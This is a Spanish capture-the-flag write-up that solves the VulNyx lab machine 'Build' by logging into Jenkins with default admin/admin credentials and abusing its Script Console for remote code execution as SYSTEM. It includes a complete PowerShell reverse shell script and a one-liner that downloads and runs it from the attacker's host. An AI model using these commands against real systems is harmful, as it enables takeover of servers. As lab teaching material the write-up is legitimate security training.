Build - VulNyx [WriteUp] | VulNyx Resolución de Máquinas

En este writeup vamos a resolver la máquina Build dificultad Low de VulNyx.

Estructura del contenido

TL;DR – RESUMEN DE LA MÁQUINA BUILD (VULNYX)

Te resumo a continuación la resolución de la máquina pero si quieres ver el detalle, te invito a leer el resto del write-up:

Comenzamos realizando un reconocimiento inicial de la máquina mediante escaneo de puertos, identificando un servicio Jenkins accesible vía web. Tras investigar la versión instalada, probamos credenciales por defecto y logramos acceso al panel de administración como usuario admin. Desde el apartado Script Console, aprovechamos la capacidad de ejecución remota de comandos para ejecutar instrucciones directamente en el sistema.

Una vez dentro del Script Console, verificamos que los comandos se ejecutaban con privilegios NT AUTHORITY\SYSTEM, lo que equivale al máximo nivel de privilegios en Windows. A continuación, generamos una reverse shell PowerShell hacia nuestra máquina atacante para obtener una shell interactiva completa.

Finalmente, con acceso total al sistema, navegamos hasta el escritorio del usuario administrador y leímos el archivo root.txt, completando así la máquina con éxito mediante una explotación directa del Script Console de Jenkins con credenciales por defecto.

Resumen de conceptos trabajados

Escaneo y enumeración de puertos y servicios con Nmap
Identificación de servicio Jenkins expuesto vía web
Uso de credenciales por defecto para acceso al panel administrativo
Enumeración de funcionalidades internas del panel Jenkins
Abuso del Script Console de Jenkins para ejecución remota de comandos (RCE)
Verificación de privilegios mediante whoami
Obtención de acceso como NT AUTHORITY\SYSTEM
Generación de reverse shell PowerShell
Acceso interactivo remoto al sistema comprometido
Navegación por el sistema de archivos Windows desde shell remota
Lectura de la flag root.txt

Si es tu primera máquina de VulNyx y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento paso a paso cómo empezar en esta plataforma.

Cómo Verificar que estamos conectados a la máquina víctima

Lo primero que tendrás que hacer cuando vayas a trabajar sobre alguna de las máquinas de VulNyx, es descargarla en tu equipo. Una vez descargada y descomprimida, irás a tu VMWare o VirtualBox y la importarás para virtualizarla.

Después de importarla, configura la conexión de red a Adaptador Puente, para que nuestra máquina atacante tenga acceso y la encuentre.

Comenzando con el reconocimiento de la máquina víctima

Iniciamos sesión siendo root y creamos previamente una nueva carpeta dentro de nuestro Kali para esta máquina y poder crear allí todo lo que analicemos.

Para asegurarnos de que la máquina víctima está conectada en la red (192.168.1.148)

arp-scan -I eth0 --localnet

y de esta forma vemos todas las IPs conectadas para empezar a analizarla (podemos comprobar que se encuentra la IP de la máquina VulNyx cuando la ejecutamos anteriormente). Vemos que la IP «is up» está activa y su ttl es de 128, es decir, SO Windows.

Fase de Enumeración / Escaneo de Puertos

Comenzamos el análisis con la fase de enumeración y escaneo de puertos mediante el comando:

Diccionario de comandos para el ESCANEO

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.148 -oG Escaneo_TCP

El escaneo de puertos nos devuelve 13 puertos abiertos, entre los que destacan el 80 y 8080 web.

Ahora vamos a ver qué servicios corren:

nmap -sCV -p8080,135,445,139,80,49666,49664,49670,5040,49665,49667,49669,49668 192.168.1.148

Vemos en el escaneo los siguientes puertos relevantes abiertos:

80 http IIS 10.0
8080 http Jetty 12.0.19
135 msrpc
139 netbios-ssn
445 microsoft-ds
5040 unknown
49664–49670 msrpc (dynamic RPC ports)

Donde destacaría los puertos 80 IIS v.10.0 y 8080 web Jetty v.12.0.19.

Por lo que comenzamos analizando estos dos puertos web desde el navegador para encontrar pistas de acceso.

ANÁLISIS DE VERSIONES Y SERVICIOS

Lo primero es analizarlo con whatweb y searchsploit ambos puertos y ver si esas versiones de esos puertos son o no vulnerable a priori:

Y si analizamos el puerto 8080 vemos:

El puerto 8080 redirige a un panel de login para el CMS llamado Jenkins (que es un servidor de automatización de código abierto, basado en Java). Y también sabemos por el análisis con whatweb anterior que la versión de Jenkins es la 2.504.2 , por lo que podemos investigar si existe algún exploit público o vulnerabilidad que nos permita acceder.

CVE REPORTADO EN JENKINS

Y encontramos un CVE – Vulnerabilidades y Exposiciones Comunes de 2025, en concreto el CVE-2025-31721 que nos reporta INCIBE por ejemplo.

Esta vulnerabilidad consiste en:

Una falta de comprobación de permisos en Jenkins 2.503 y versiones anteriores, así como en LTS 2.492.2 y versiones anteriores, permite a los atacantes que cuenten con el permiso «Computer/Create», pero no con el permiso «Computer/Configure», copiar un agente y obtener así acceso a los secretos cifrados de su configuración.

Sin embargo no tenemos usuario y contraseña para poder acceder al panel y poder explotarla.

PROBANDO CREDENCIALES

Por lo que se me ocurre de nuevo buscar pero esta vez, por credenciales por defecto que tenga Jenkins en esa versión y encuentro una referencia a usuario «admin», por lo que pruebo de forma aleatoria con usuario «admin» y contraseña «admin», y accedo al panel.

De hecho accedemos como el usuario administrador…

Ahora dentro del panel tenemos que buscar la forma de poder ejecutar comandos de forma remota en el servidor Windows desde Jenkins.

Ya que como administrador tenemos acceso a:

Manage Jenkins
Script Console
New Item (Jobs)
Nodes
Credentials
Plugins

Vamos a probar mediante la opción de Script Console a ejecutar comandos para comprobarlo. Ejecutamos el siguiente comando y nos devuelve la respuesta esperada:

println "cmd.exe /c whoami".execute().text

Esto nos confirma RCE ya que el output o resultado nos dice que somos el usuario «system» dentro de un servidor Windows (es el usuario con más privilegios del sistema operativo, sería el equivalente a root en Linux).

EJECUCIÓN REMOTA DE COMANDOS EN WINDOWS

Primero nos creamos un payload dentro de nuestra máquina Kali atacante con «nano shell.ps1» e introducimos el código siguiente:

192.168.1.211 – mi Ip atacante

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.211",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()

Después con python3 nos compartimos ese payload con la máquina víctima mediante el panel de Jenkins.

Para ello ejecutamos el siguiente código en la parte de Script Console (antes nos ponemos en escucha por el puerto 4444 para recibir la shell maliciosa):

println "cmd.exe /c powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.211/shell.ps1')\"".execute().text

Y al ejecutarlo, dentro de nuestra máquina atacante Kali se nos abre la shell como el usuario root en Windows que sería «nt authority\system» , y si vamos navegando entre carpetas («dir» , no «ls» – sería para Linux), llegamos hasta la carpeta Users donde dentro de Administrator podemos leer la flag de root.